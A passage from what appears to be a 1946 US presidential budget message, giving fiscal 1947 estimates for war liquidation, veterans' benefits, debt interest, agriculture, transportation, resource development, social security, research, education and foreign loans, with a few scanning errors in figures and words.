interest payments in future\nbudgets, but also on the level of interest rates prevailing in private\nfinancing. The average rate of interest on the debt is now a little under 2\npercent. Low interest rates will be an important force in promoting the\nfull production and full employment in the postwar period for which we are\nall striving. Close wartime cooperation between the Treasury Department and\nthe Federal Reserve System has made it possible to finance the most\nexpensive war in history at low and stable rates of interest. This\ncooperation will continue.No less important than the level of interest rates paid on the debt is the\ndistribution of its ownership. Of the total debt, more than half represents\ndirect savings of individuals or investments of funds received from\nindividual savings by life insurance companies, mutual savings banks,\nsavings and loan associations, private or Government trust funds, and other\nagencies.Most of the remaining debt--more than 100 billion dollars--is held by the\ncommercial banks and the Federal Reserve banks. Heavy purchases by the\nbanks were necessary to provide adequate funds to finance war expenditures.\nA considerable portion of these obligations are short-term in character and\nhence will require refinancing in the coming months and years. Since they\nhave been purchased out of newly created bank funds, continuance of the\npresent low rates of interest is entirely appropriate. To do otherwise\nwould merely increase bank profits at the expense of the taxpayer.The 275-billion dollar debt poses a problem that requires careful\nconsideration in the determination of financial and economic policies. We\nhave learned that the problem, serious as it is, can be managed. Its\nmanagement will require determined action to keep our Federal Budget in\norder and to relate our fiscal policies to the requirements of an expanding\neconomy. The more successful we are in achieving full production and full\nemployment the easier it will be to manage the debt and pay for the debt\nservice. Large though the debt is, it is within our economic capacity. The\ninterest charges on it amount to but a small proportion of our national\nincome. The Government is determined, by a resolute policy of economic\nstabilization, to protect the interests of the millions of American\ncitizens who have invested in its securities.During the past 6 months the net revenue receipts of the Federal Government\nhave been about 20 billion dollars, almost as much as during the closing 6\nmonths of 1944 when the country was still engaged in all-out warfare. The\nhigh level of these receipts reflects the smoothness of the reconversion\nand particularly the strength of consumer demand. But the receipts so far\ncollected, it must be remembered, do not reflect any of the tax reductions\nmade by the Revenue Act of 1945. These reductions will not have their full\neffect on the revenue collected until the fiscal year 1948.It is good to move toward a balanced budget and a start on the retirement\nof the debt at a time when demand for goods is strong and the business\noutlook is good. These conditions prevail today. Business is good and there\nare still powerful forces working in the direction of inflation. This is\nnot the time for tax reduction.RECOMMENDATIONS FOR SPECIFIC FEDERAL ACTIVITIES1. WAR LIQUIDATION AND NATIONAL DEFENSE(a) War expenditures.The fiscal year 1947 will see a continuance of war liquidation and\noccupation. During this period we shall also lay the foundation for our\npeacetime system of national defense.In the fiscal year that ended on June 30, 1945, almost wholly a period of\nglobal warfare, war expenditures amounted to 90.5 billion dollars. For the\nfiscal year 1946 war expenditures were originally estimated at 70 billion\ndollars. That estimate was made a year ago while we were still engaged in\nglobal warfare. After victory over Japan this estimate was revised to 50.5\nbillion dollars. Further cut-backs and accelerated demobilization have made\npossible an additional reduction in the rate of war spending. During the\nfirst 6 months 32.9 billion dollars were spent. It is now estimated that\n16.1 billion dollars will be spent during the second 6 months, or a total\nof 49 billion dollars during the whole fiscal year.For the fiscal year 1947 it is estimated, tentatively, that expenditures\nfor war liquidation, for occupation, and for national defense will be\nreduced to 15 billion dollars. The War and Navy Departments are expected to\nspend 13 billion dollars; expenditures of other agencies, such as the\nUnited States Maritime Commission, the War Shipping Administration, and the\nOffice of Price Administration, and payments to the United Nations Relief\nand Rehabilitation Administration are estimated at 3 billion dollars.\nAllowing for estimated net receipts of 1 billion dollars arising from war\nactivities of the Reconstruction finance Corporation, the estimated total\nof war expenditures is 15 billion dollars. At this time only a tentative\nbreak-down of the total estimate for war and defense activities can be\nindicated.An expenditure of 15 billion dollars for war liquidation, occupation, and\nnational defense is a large sum for a year which begins 10 months after\nfighting has ended. It is 10 times our expenditures for defense before the\nwar; it amounts to about 10 percent of our expected national income. This\nestimate reflects the immense job that is involved in winding up a global\nwar effort and stresses the great responsibility that victory has placed\nupon this country. The large expenditures needed for our national defense\nemphasize the great scope for effective organization in furthering economy\nand efficiency. To this end I have recently recommended to the Congress\nadoption of legislation combining the War and Navy Departments into a\nsingle Department of National Defense.A large part of these expenditures is still to be attributed to the costs\nof the war. Assuming, somewhat arbitrarily, that about one-half of the\n15-billion-dollar outlay for the fiscal year 1947 is for war liquidation,\naggregate expenditures by this Government for the second World War are now\nestimated at 347 billion dollars through June 30, 1947. Of this, about 9\nbillion dollars will have been recovered through renegotiation and sale of\nsurplus property by June 30, 1947; this has been reflected in the estimates\nof receipts.Demobilization and strength of armed forces.--Demobilization of our armed\nforces is proceeding rapidly. At the time of victory in Europe, about 12.3\nmillion men and women were in the armed forces; 7.6 million were overseas.\nBy the end of December 1945 our armed forces had been reduced to below 7\nmillion. By June 30, 1946, they will number about 2.9 million, of whom 1.8\nmillion will be individuals enlisted and inducted after VE-day.\nMustering-out pay is a large item of our war liquidation expense; it will\ntotal 2.5 billion dollars in the fiscal year 1946, and about 500 million\ndollars in the fiscal year 1947.In the fiscal year 1947 the strength of our armed forces will still be\nabove the ultimate peacetime level. As I have said, War and Navy Department\nrequirements indicate a strength of about 2 million in the armed forces a\nyear from now. This is necessary to enable us to do our share in the\noccupation of enemy territories and in the preservation of peace in a\ntroubled world. Expenditures for pay, subsistence, travel, and\nmiscellaneous expenses of the armed forces, excluding mustering-out pay,\nare estimated at 5 billion dollars.Contract settlement and surplus property disposal.--The winding up of war\nprocurement is the second most important liquidation job. By the end of\nNovember a total of 301,000 prime contracts involving commitments of 64\nbillion dollars had been terminated. Of this total, 67,000 contracts with\ncommitments of 35 billion dollars remained to be settled. Termination\npayments on these contracts are estimated at about 3.5 billion dollars. It\nis expected that more than half of these terminated contracts will be\nsettled during the current fiscal year, leaving payments of about 1.5\nbillion dollars for the fiscal year 1947.Another important aspect of war supply liquidation is the disposal of\nsurplus property. Munitions, ships, plants, installations, and supplies,\noriginally costing 50 billion dollars or more, will ultimately be declared\nsurplus. The sale value of this property will be far less than original\ncost and disposal expenses are estimated at 10 to 15 cents on each dollar\nrealized. Disposal units within existing agencies have been organized to\nliquidate surplus property under the direction of the Surplus Property\nAdministration. Overseas disposal activities have been centralized in the\nState Department to permit this program to be carried on in line with\nover-all foreign policy. Thus far only about 13 billion dollars of the\nultimate surplus, including 5 billion dollars of unsalable aircraft, has\nbeen declared. Of this amount, 2.3 billion dollars have been disposed of,\nin sales yielding 600 million dollars. The tremendous job of handling\nsurplus stocks will continue to affect Federal expenditures and receipts\nfor several years. The speed and effectiveness of surplus disposal\noperations will be of great importance for the domestic economy as well as\nfor foreign economic policies.War supplies, maintenance, and relief.-Adequate provision for the national\ndefense requires that we keep abreast of scientific and technical advances.\nThe tentative estimates for the fiscal year 1947 make allowance for\nmilitary research, limited procurement of weapons in the developmental\nstate, and some regular procurement of munitions which were developed but\nnot mass-produced when the war ended. Expenditures for procurement and\nconstruction will constitute one-third or less of total defense outlays,\ncompared to a ratio of two-thirds during the war years.The estimates also provide for the maintenance of our war-expanded naval\nand merchant fleets, military installations, and stocks of military\nequipment and supplies. Our naval combatant fleet is three times its\npre-Pearl Harbor tonnage. Our Merchant Marine is five times its prewar\nsize. The War Department has billions of dollars worth of equipment and\nsupplies. Considerable maintenance and repair expense is necessary for the\nequipment which we desire to retain in active status or in war reserve.\nExpenses will be incurred for winnowing the stocks of surpluses, for\npreparing lay-up facilities for the reserve fleets, and for storage of\nreserve equipment and supplies.Military expenditures .in the current fiscal year include 650 million\ndollars for civilian supplies for the prevention of starvation and disease\nin occupied areas. Expenditures on this account will continue in the fiscal\nyear 1947. The war expenditures also cover the expenses of civilian\nadministration in occupied areas.During the war, 15 cents of each dollar of our war expenditures was for\nlend-lease aid. With lend-lease terminated, I expect the direct operations\nunder this program to be substantially completed in the current fiscal\nyear. The expenditures estimated for the fiscal year 1947 under this\nprogram are mainly interagency reimbursements for past transactions.Relief and rehabilitation expenditures are increasing. It is imperative\nthat we give all necessary aid within our means to the people who have\nborne the ravages of war. I estimate that in the fiscal year 1946\nexpenditures for the United Nations Relief and Rehabilitation\nAdministration will total 1.3 billion dollars and in the following year 1.2\nbillion dollars. Insofar as possible, procurement for this purpose will be\nfrom war surpluses.(b) Authorizations for war and national defense.During the war, authorizations and appropriations had to be enacted well in\nadvance of obligation and spending to afford ample time for planning of\nproduction by the procurement services and by industry. Thus our cumulative\nwar program authorized in the period between July 1, 1940, and July 1,\n1945, was 431 billion dollars, including net war commitments of Government\ncorporations. Expenditures against those authorizations totaled 290 billion\ndollars. This left 141 billion dollars in unobligated authorizations and\nunliquidated obligations.With the end of fighting, it became necessary to adjust war authorizations\nto the requirements of war liquidation and continuing national defense.\nIntensive review of the war authorizations by both the executive and the\nlegislative branches has been continued since VJ-day. As a result, the\nauthorized war program is being brought more nearly into line with\nexpenditures.Recisions and authorizations through the fiscal year 1946.--Readjusting the\nwar program, as the Congress well knows, is not an easy task.\nAuthorizations must not be too tight, lest we hamper necessary operations;\nthey must not be too ample, lest we lose control of spending. Last\nSeptember, I transmitted to the Congress recommendations on the basis of\nwhich the Congress voted H.R. 4407 to repeal 50.3 billion dollars of\nappropriations and authorizations. I found it necessary to veto this bill\nbecause it was used as a vehicle for legislation that would impair the\nreemployment program. However, in order to preserve the fine work of the\nCongress on the recisions, I asked the Director of the Bureau of the Budget\nto place the exact amounts indicated for repeal in a nonexpendable reserve,\nand to advise the departments and agencies accordingly. This has been\ndone.In accord with Public Law 132 of the Seventy-ninth Congress, I have\ntransmitted recommendations for additional rescissions for the current\nfiscal year of appropriations amounting to 5.8 billion dollars and of\ncontract authorizations totaling 420 million dollars. The net reduction in\nauthority to obligate will be 5.0 billion dollars, because, of the\nappropriations, 1.2 billion dollars will have to be restored in subsequent\nyears to liquidate contract authorizations still on the books.The appropriations recommended for repeal include 2,827 million dollars for\nthe Navy Department, 1,421 million dollars for the War Department, 850\nmillion dollars for lend-lease, 384 million dollars for the War Shipping\nAdministration, and 260 million dollars for the United States Maritime\nCommission. The contract authorizations proposed for repeal are for the\nMaritime Commission.In addition, there are unused tonnage authorizations for construction of\nnaval vessels now valued at 5.4 billion dollars. In September 1945, I\nsuggested that this authority be reviewed by the appropriate committees of\nthe Congress, and the Congress has moved to bar construction under these\nauthorizations during the remainder of the fiscal year 1946. I propose to\ncontinue this prohibition in the Navy budget estimates for the fiscal year\n1947 and now renew my recommendation that legislation be enacted at the\nearliest time to dear the statute books of these authorizations.The amounts indicated for repeal in H.R. 4407 and the further rescissions\nwhich I have recommended, excluding duplications and deferred cash payments\non existing authorizations, represent a cut in the authorized war program\nof 60.8 billion dollars. The war authorizations will also be reduced 3'7\nbillion dollars by carrying receipts of revolving accounts to surplus, by\nlapses, and by cancellation and repayment of commitments of the Government\nwar corporations.On the other hand, supplemental appropriations of 600 million dollars will\nbe required for the United Nations Relief and Rehabilitation\nAdministration.In the net, it is estimated that the cumulative authorized war and national\ndefense program will amount to 368 billion dollars on June 30, 1946.\nExpenditures of 49 billion dollars during the fiscal year 1946 will have\npushed cumulative expenditures to 339 billion dollars. The unexpended\nbalances will be down to 28 billion dollars on June 30, 1946.New authorizations for national defense and war liquidation in the fiscal\nyear 1947.-The expenditures of 15 billion dollars for national defense and\nwar liquidation in the fiscal year 1947 will be partly for payment of\ncontractual obligations incurred in the past, and partly for the payment of\nnew obligations. The unexpended balances on June 30, 1946, will be\nscattered among hundreds of separate appropriations. Thus, while some\nappropriation accounts will have unused balances, others will require\nadditional appropriations.It is estimated that authorizations to incur new obligations of 11,772\nmillion dollars will be needed during the fiscal year 1947, mainly for the\nWar and Navy Departments. Of the required authorizations, 11,365 million\ndollars will be in new appropriations, 400 million dollars in new contract\nauthority, and 7 million dollars in reappropriations of unobligated\nbalances. In addition, appropriations of 825 million dollars will be needed\nto liquidate obligations under existing contract authorizations.Taking into account the tentative authorizations and expenditures estimated\nfor the fiscal year 1947, and offsets of 3 billion dollars in war\ncommitments of Government corporations, the cumulative authorized war and\nnational defense program on June 30, 1947, will be 376 billion dollars;\ntotal expenditures, 354 billion dollars; and unexpended balances, 22\nbillion dollars.The 22 billion dollars of unexpended balances tentatively indicated as of\nJune 30, 1947, comprise both unobligated authorizations and unliquidated\nobligations. Most of the unliquidated obligations result from transactions\nbooked during the war years. A large part of the 22 billion dollars would\nnever be spent even if not repealed, for the appropriations will lapse in\ndue course. For example, several billion dollars of these unliquidated\nobligations represent unsettled inter- and intra-departmental agency\naccounts for war procurement. Legislation is being requested to facilitate\nthe adjustment of some of these inter-agency accounts. Another 6 billion\ndollars is set aside for contract termination payments. If contract\nsettlement costs continue in line with recent experience, it is likely that\npart of the 6 billion dollars will remain unspent.On the other hand, some of the 22 billion dollars would be available for\nobligation and expenditure unless impounded. In certain appropriations,\nsuch as those for long-cycle procurement, considerable carry-over of\nunliquidated obligations into future years is to be expected and is\nnecessary. However, substantial further rescissions can and should be made\nwhen the war liquidation program tapers off and budgetary requirements for\nnational defense are clarified. As I have said, I shall continue to review\nthe war authorizations and from time to time recommend excess balances for\nrepeal.As in recent years, detailed recommendations concerning most appropriations\nfor the national defense program are postponed until the spring. In\nconnection with the war activities of the United States Maritime Commission\nand certain other agencies, however, I now make specific recommendations\nfor the fiscal year 1947. No additional authorizations or appropriations\nwill be necessary for the Maritime Commission since sufficient balances\nwill be left after the above-mentioned rescissions to carry out the program\nnow contemplated for the fiscal year 1947.2. AFTERMATH OF WARNearly one-third--11 billion dollars--of estimated Federal expenditures in\nthe fiscal year 1947 will be for purposes that are largely inherited from\nthe war--payments to veterans, interest on the Federal debt, and refunds of\ntaxes.(a) For veterans.\"Veterans' pensions and benefits\" has become one of the largest single\ncategories in the Federal Budget. I am recommending for this purpose total\nappropriations of 4,787 million dollars for the fiscal year 1947.\nExpenditures in the fiscal year are estimated, under present legislation,\nat 4,208 million dollars. These expenditures will help our veterans through\ntheir readjustment period and provide lasting care for those who were\ndisabled.The Congress has provided unemployment allowances for veterans during their\nreadjustment period. Expenditure of 850 million dollars for this purpose is\nanticipated for the fiscal year 1947. In addition, readjustment allowances\nfor self-employed veterans are expected to cost 340 million dollars in the\nfiscal year 1947.On May 28, 1945, in asking the Congress to raise the ceiling on benefits\nfor civilian unemployed to not less than 25 dollars a week during the\nimmediate reconversion period, I suggested that the Congress also consider\nliberalizing veterans' allowances. Elsewhere in this Message I reiterate my\nrecommendation with respect to emergency unemployment compensation. I also\nrecommend increasing veterans' unemployment allowances from 20 dollars to\n25 dollars a week. This would involve additional expenditures estimated at\napproximately 220 million dollars for the fiscal year.Included in the 1947 Budget is an expenditure of 535 million dollars for\nveterans' education under provisions of the Servicemen's Readjustment Act.\nThis amount includes both tuition expenses and maintenance allowances. It\nis expected that half a million veterans will be enrolled in our schools\nand colleges during the year.The ultimate benefit which veterans receive from the loan guarantee\nprovisions of the Servicemen's Readjustment Act depends largely on the\nsuccess of our stabilization program in restraining building costs and real\nestate values. Under the revised procedure contained in recent amendments,\nthe administrative workload will be minimized by the almost complete\ntransfer of authority for approving the guarantees to private lending\nagencies and private appraisers designated by the Veterans Administration.\nThis authority carries with it the responsibility for restricting the\nguarantees to loans on reasonably valued properties. Costs of the program,\nother than for administration, are estimated at 21 million dollars in the\nfiscal year 1947.Pensions for veterans will require expenditures estimated at 1,748 million\ndollars for the fiscal year 1947. Two-thirds of this amount will be\nreceived by veterans of the war which we have just won. This figure\nincludes 55 million dollars of increased pensions for student-veterans in\nour vocational rehabilitation program. In addition, 170 million dollars\nwill be expended in transfers to the National Service Life Insurance fund\nfrom general and special accounts.Expenditures under the appropriation for salaries and expenses of the\nVeterans Administration are estimated at 528 million dollars in the fiscal\nyear 1947. This includes 260 million dollars for medical care and the\noperation of some 103,000 hospital and domiciliary beds.A separate appropriation for hospital and domiciliary facilities,\nadditional to the total for veterans' pensions and benefits, covers\nconstruction that will provide some 13,000 hospital beds as part of the\n500-million dollar hospital construction program already authorized by the\nCongress. The estimated expenditures of 130 million dollars for this\npurpose are classified in the Budget as part of the general public works\nprogram for the next fiscal year.(b) For interest.Interest payments on the public debt are estimated at 5 billion dollars in\nthe fiscal year 1947, an increase of 250 million dollars from the revised\nestimate for the current fiscal year. This increase reflects chiefly\npayment of interest on additions to the debt this year. Assuming\ncontinuance of present interest rates, the Government's interest bill is\nnow reaching the probable postwar level.(c) For refunds.An estimated total of 1,585 million dollars of refunds will be paid to\nindividuals and corporations during the fiscal year 1947. Slightly over\nhalf of this amount, or 800 million dollars, will be accessory to the\nsimplified pay-as-you-go method of tax collection, and will be the result\nof overwithholding and over declaration of expected income. Most of the\nremainder will arise from loss and excess-profits credit carrybacks,\nrecomputed amortization on war plants, and special relief from the excess\nprofits tax.This category of expenditures is thus losing gradually its\n\"aftermath-of-war\" character, and by the succeeding year will reflect\nalmost entirely the normal operation of loss carry-backs and current tax\ncollection.3. AGRICULTURAL PROGRAMSThe agricultural programs contemplated for the fiscal year 1947 are those\nwhich are essential for the provision of an adequate supply of food and\nother agricultural commodities with a fair return to American farmers. To\nsupport these objectives, expenditures by the Department of Agriculture\nestimated at 784 million dollars from general and special accounts will be\nrequired in the fiscal year 1947. This compares with estimated expenditures\nof 676 million dollars in 1946. These figures exclude expenditures by the\nDepartment of Agriculture on account of lend-lease, the United Nations\nRelief and Rehabilitation Administration, and other war expenditures. The\nexpenditure for the fiscal year 1947 is composed of 553 million dollars for\n\"aids to agriculture,\" 35 million dollars for general public works, and 196\nmillion dollars for other services of the Department.Net outlays for the price stabilization, price support, and other programs\nof the Commodity Credit Corporation are expected to increase from about 750\nmillion dollars in the fiscal year 1946 to about 1,500 million dollars in\n1947. Cash advances made on loans by the farm Security Administration and\nthe Rural Electrification Administration are expected to amount to 266\nmillion dollars in the fiscal year 1946 and 351 million dollars in 1947;\nand after receipts from principal and interest are taken into account, net\nloan expenditures of these two agencies will amount to 120 and 209 million\ndollars in the two fiscal years.To provide for the expenditures from general and special accounts, I\nrecommend for the fiscal year 1947 appropriations of million dollars\n(including the existing permanent appropriation of an amount equal to 30\npercent of estimated annual customs receipts) and a reappropriation of 88\nmillion dollars of prior-year balances from customs receipts. In addition\nthere is a recommended authorization of 367.5 million dollars for borrowing\nfrom the Reconstruction finance Corporation for the loan programs of the\nfarm Security Administration and the Rural Electrification Administration.\nIt is expected that the operations of the Commodity Credit Corporation will\nbe financed during the coming year through the 500 million dollars of\nlend-lease funds which the Congress has earmarked for price support\npurposes, a supplemental appropriation to restore impaired capital of the\nCorporation, and the borrowing authority of the Corporation.Some detailed recommendations follow for major agricultural programs.Conservation and use of land.--I am recommending that 270 million dollars\nbe appropriated for \"conservation and use of agricultural land\nresources\"--the so-called AAA program--for the fiscal year 1947, compared\nwith 356 million dollars in the current year. This reduction of 86 million\ndollars is in large part accounted for by elimination of the wartime flax\nproduction incentive project and other nonrecurring items; the proposed\nreduction in normal activities is less than 33 million dollars.For the past several years, this program has consisted largely of payments\nto farmers for application of fertilizer and other approved soil management\npractices. I am convinced that farmers generally are now fully alert to the\nbenefits, both immediate and long-term, which they derive from the\npractices encouraged by this program. I believe, therefore, that this\nsubsidization should continue to be reduced.Rural electrification.--It is proposed that the loan authorization for the\nRural Electrification Administration for the fiscal year 1947 be increased\nfrom 200 million dollars to 250 million dollars. During the war period, REA\nwas limited by the scarcity of materials and manpower. But that situation\nis rapidly changing, and the REA program, which was materially stepped up\nfor the fiscal year 1946, can be increased still more. It is my belief that\na feasible and practical rural electrification program should be carried\nforward as rapidly as possible. This will involve total loans of\napproximately 1,800 million dollars over the next 10 years, much of which\nwill be repaid during that period.Other programs.--It is recommended that the continuing forest\nland-acquisition program be resumed at the rate of 3 million dollars\nannually, which is about the minimum rate at which this program can be\neconomically carried on. The lands involved in this program can contribute\nfully to the national welfare only when brought into the national forest\nsystem for protection and development.Such programs as those of the farm Security Administration and the farm\nCredit Administration are estimated to be continued during the fiscal year\n1947 at about the same level as in the fiscal year 1946. Recent action by\nthe Congress has Permitted some expansion of the school lunch program. I\nhope it will be continued and expanded. The budgets of the Federal Crop\nInsurance Corporation and the federal farm Mortgage Corporation will be\ntransmitted in the spring under the terms of the Government Corporation\nControl Act.4. TRANSPORTATIONTransportation is one of the major fields for both public and private\ninvestment. Our facilities for transportation and communication must be\nconstantly improved to serve better the convenience of the public and to\nfacilitate the sound growth and development of the whole economy.Federal capital outlays for transportation facilities are expected to\napproximate 519 million dollars in the fiscal year 1947. State and local\ngovernments may spend 400 million dollars. Private investment, over half of\nit by railways, may approach 1,150 million dollars.The Congress has already taken steps for the resumption of work on\nimprovement of rivers and harbors and on the construction of new\nFederal-aid highways. Much needed work on airports can begin when the\nCongress enacts legislation now in conference between the two Houses.The Federal expenditure estimates for the fiscal year 1947 include 53\nmillion dollars for new construction in rivers, harbors, and the Panama\nCanal and 291 million dollars for highways and grade-crossing elimination,\nassuming that the States expend some 275 million dollars on the Federal-aid\nsystem. Additional expenditures for highways totaling 36 million dollars\nare anticipated by the forest Service, National Park Service, and the\nTerritory of Alaska. Civil airways and airports will involve expenditures\nof 35 million dollars under existing authority. Additional Federal\nexpenditures exceeding 20 million dollars (to be matched by States and\nmunicipalities) may be made during the fiscal year 1947 under the airport\nlegislation now in conference between the two Houses of the Congress.The United States now controls almost two-thirds of the world's merchant\nshipping, most of it Government-owned, compared with little more than\none-seventh of the world's tonnage in 1939. This places a heavy\nresponsibility upon the Nation to provide for speedy and efficient world\ncommerce as a contribution to general economic recovery.The estimates for the United States Maritime Commission and War Shipping\nAdministration provide for the transition of shipping operation from a war\nto a peace basis; the sale, chartering, or lay-up of much of the war-built\nfleet; and for a program of ship construction of some 84 million dollars in\nthe fiscal year 1947 to round out the merchant fleet for peacetime use.Federal aids, subsidies, and regulatory controls for transportation should\nfollow the general principle of benefiting the national economy as a whole.\nThey should seek to improve the transportation system and increase its\nefficiency with resulting lower rates and superior service. Differential\ntreatment which benefits one type of transportation to the detriment of\nanother should be avoided save when it is demonstrated clearly to be in the\npublic interest.5. RESOURCE DEVELOPMENTTotal capital outlays for resource development are estimated at 653 million\ndollars in the fiscal year 1947 as compared with 452 million dollars in\n1946. These include capital expenditures by the Rural Electrification\nAdministration and expenditures for resource development by other\norganizational units in the Department of Agriculture which are also\nmentioned above under \"agricultural programs.\"The reclamation and flood control projects which I am recommending for the\nfiscal year 1947 will involve capital outlays of approximately 319 million\ndollars as compared with 245 million dollars in the fiscal year 1946. These\nexpenditures cover programs of the Corps of Engineers, the Bureau of\nReclamation, the Bureau of Indian Affairs, the Department of Agriculture,\nand the International Boundary and Water Commission, United States and\nMexico. A number of these projects are multiple-purpose projects, providing\nnot only for reclamation and irrigation of barren land and flood control,\nbut also for the production of power needed for industrial development of\nthe areas.Expenditures for power transmission and distribution facilities by the\nBonneville Power Administration are expected to increase from 12 million\ndollars in the fiscal year 1946 to 15 million dollars in the next fiscal\nyear. In addition, the Southwestern Power Administration will undertake a\nnew program involving expenditures of about 16 million dollars in the\nfiscal year 1947. The Rural Electrification Administration will require\nexpenditures during the current fiscal year estimated at 156 million\ndollars; in the fiscal year 1947, at 241 million dollars.The TVA program includes completion of major multiple-purpose\nprojects--navigation, flood control, and power facilities--and additions to\nchemical plants and related facilities. Expenditures for these capital\nimprovement programs are estimated at 30 million dollars in the fiscal year\n1946 and 39 million dollars in the fiscal year 1947.Expenditures for construction of roads and other developmental works in the\nnational forests, parks, and other public lands, and for capital outlays\nfor fish and wildlife development will increase from below 9 million\ndollars in the fiscal year 1946 to 24 million dollars in the fiscal year\n1947.6. SOCIAL SECURITY AND HEALTHBenefit payments out of the Old-Age and Survivors Insurance Trust fund\nduring 1947 are estimated at 407 million dollars, while withdrawals by the\nStates from the Unemployment Trust fund for compensation payments are\nexpected to total 1 billion dollars. These disbursements are financed out\nof social security contributions.The appropriations from general and special accounts for the social\nsecurity program, which cover Federal administrative expenses and grants to\nStates for assistance programs, are estimated at 593 million dollars for\nthe fiscal year 1947, an increase of 57 million dollars over the current\nyear. The increase anticipates greater administrative workload and higher\ngrants to match increasing State payments. The social security program does\nnot include all the Federal health services under existing legislation. For\nthe other health services classified under general government and national\ndefense, appropriations are estimated at 102 million dollars for the fiscal\nyear 1947.Some expansion in peacetime medical research and other programs of the\nPublic Health Service is provided for in the appropriation estimates for\nthese purposes totaling approximately 87 million dollars for the fiscal\nyear 1947 which are submitted under provisions of existing law. Part of\nthis will be provided through the social security appropriations, the\nremainder through other appropriations. About 28 million dollars is\nrecommended for maternity care and health services for children under\nexisting law, mainly under the emergency provision for the wives and\ninfants of servicemen. While we should avoid duplication of maternity and\nchild health services which will be provided through the proposed general\nsystem of prepaid medical care, legislation is needed to supplement such\nservices. For medical education, I have recommended legislation authorizing\ngrants-in-aid to public and nonprofit institutions. The existing sources of\nsupport for medical schools require supplementation to sustain the\nexpansion that is needed.Hospitals, sanitation works, and additional facilities at medical schools\nwill be required for an adequate national health program. Legislation is\nnow pending in the Congress to authorize grants for the construction of\nhospitals and health centers and grants and loans for water-pollution\ncontrol. I hope the Congress will act favorably on generous authorizing\nlegislation.7. RESEARCH AND EDUCATIONThe Budget provides for continuation and desirable expansion of the\nresearch activities that are carried on throughout the Federal\nestablishment and through previously authorized grants to the States.\nAdditional appropriations will be required for the proposed central Federal\nresearch agency which I recommended last September 6. That agency will\ncoordinate existing research activities and administer funds for new\nresearch activities wherever they are needed; it will not itself conduct\nresearch. The plan contemplates expenditures through the new research\nagency of approximately 40 million dollars for the first year.These amounts are small in relation to the important contribution they can\nmake to the national income, the welfare of our people, and the common\ndefense. Expenditures must be limited for the time being by the capacity of\nresearch agencies to make wise use of funds. The maintenance of our\nposition as a nation, however, will require more emphasis on research\nexpenditures in the future than in the past.Educational expenditures will require a significant share of the national\nincome in the fiscal year 1947. State, local, and private expenditures for\nthe current support of elementary, secondary, and higher education are\nexpected to be substantially above 3 billion dollars in that year. These\nnonfederal expenditures will be supplemented by Federal expenditures\nestimated at 625 million dollars in the present Budget. Of this amount, the\nestimate for veterans' education, as previously mentioned, is 535 million\ndollars. Other amounts include 21 million dollars for the support of\nvocational education in public schools, 5 million dollars for the\nland-grant colleges, 50 million dollars for the present school-lunch and\nmilk program, 1 million dollars for the Office of Education, and\napproximately 13 million dollars for various other items. In view of the\nmajor policy issues which are still under study by the Congress and the\nAdministration, no specific amount has been determined for the Federal\ngrants, previously recommended in this Message, which would assist the\nStates generally in assuring more nearly equal opportunities for a good\neducation.Notwithstanding the urgent need for additional school and college\nbuildings, careful planning will be required for the expenditures to be\nmade under the proposed legislation to aid the States in providing\neducational facilities. A major share of the grants for the first year\nwould be for surveys and plans.I have already outlined the broad objectives of our foreign economic\npolicy. In the present section I shall indicate the Federal outlays which\nthe execution of these programs may require in the fiscal years 1946 and\n1947.(a) On the termination of lend-lease, the lend-lease countries were\nrequired to pay for goods in the lend-lease pipe line either in cash or by\nborrowing from the United States or by supplying goods and services to the\nUnited States. Credits for this purpose have already been extended to\nSoviet Union, France, the Netherlands, and Belgium amounting to 675 million\ndollars. The settlement credit of 650 million dollars to the United Kingdom\nincludes an amount preliminarily fixed at 118 million dollars which\nrepresents the excess of purchases by the United Kingdom from the pipe line\nover goods and services supplied by the United Kingdom to the United States\nsince VJ-day and the balance of various claims by one government against\nthe other.Credits are also being negotiated with lend-lease countries to finance the\ndisposition of lend-lease inventories and installations and property\ndeclared to be surplus. For instance, 532 million dollars of the settlement\ncredit to the United Kingdom is for this purpose. These credits will\ninvolve no new expenditures by this Government, since they merely provide\nfor deferred repayment by other governments for good: services which have\nbeen financed from war appropriations.(b) Expenditures from the appropriations to United Nations Relief and\nRehabilitation Administration, which were discarded under war expenditures\nabove, are estimated to be 1.3 billion dollars in the fiscal year 1946 and\n1.2 billion dollars in the fiscal year 1947.(c) To assist other countries in the restoration of their economies the\nExport-Import Bank has already negotiated loans in the fiscal year 1946\namounting in total to about 1,010 million dollars and an additional 195\nmillion dollars will probably be committed shortly. The Bank is also\ngranting loans to carry out its original purpose of directly expanding the\nforeign trade of the United States. In this connection the Bank has\nestablished a fund of 100 million dollars to finance the export of cotton\nfrom the United States. The Export-Import Bank has thus loaned or committed\napproximately 1,300 million dollars during the current fiscal year and it\nis expected that demands on its resources will increase in the last 6\nmonths of the fiscal year 1946. Requests for loans are constantly being\nreceived by the Bank from countries desiring to secure goods and services\nin this country for the reconstruction or development of their economies.\nOn July 31, 1945, the lending authority of the Expert-Import Bank was\nincreased to a total of 3,500 million dollars. I anticipate that during the\nperiod covered by this Budget the Bank will reach this limit. The bulk of\nthe expenditures from the loans already granted will fall in the fiscal\nyear 1946 while the bulk of the expenditures from loans yet to be\nnegotiated will fall in the fiscal year 1947. In view of the urgent need\nfor the Bank's credit, I may find it necessary to request a further\nincrease in its lending authority at a later date.(d) The proposed line of credit of 3,750 million dollars to the United\nKingdom will be available up to the end of 1951 and will be used to assist\nthe United Kingdom in financing the deficit in its balance of payments\nduring the transition period. The rate at which the United Kingdom will\ndraw on the credit will depend on the rapidity with which it can reconvert\nits economy and adapt its trade to the postwar world. The anticipated rate\nof expenditure is likely to be heaviest during the next 2 years.(e) Since the Bretton Woods Agreements have now been approved by the\nrequired number of countries, both the International Monetary fund and the\nInternational Bank for Reconstruction and Development will commence\noperations during 1946. The organization of these institutions will\nundoubtedly take some time, and it is unlikely that their operations will\nreach any appreciable scale before the beginning of the fiscal year 1947.Of the 2,750 million dollars required for the fund, 1,800 million dollars\nwill be provided in cash or notes from the exchange stabilization fund\nestablished under the Gold Reserve Act of 1934. The remaining 950 million\ndollars will be paid initially in the form of non-interest-bearing notes\nissued by the Secretary of the Treasury. It is not anticipated that the\nfund will require in cash any of the 950 million dollars during the fiscal\nyears 1946 and 1947. Consequently, no cash withdrawals from the Treasury\nwill be required in connection with the fund in these years.The subscription to the Bank amounts to 3,175 million dollars. Of this\ntotal, 2 percent must be paid immediately and the Bank is required to call\na further 8 percent of the subscription during its first year of\noperations. The balance of the subscription is payable when required by the\nBank either for direct lending or to make good its guarantees. It is likely\nthat the United States will be required to pay little if any more than the\ninitial 10 percent before the end of the fiscal year 1947.I anticipate that 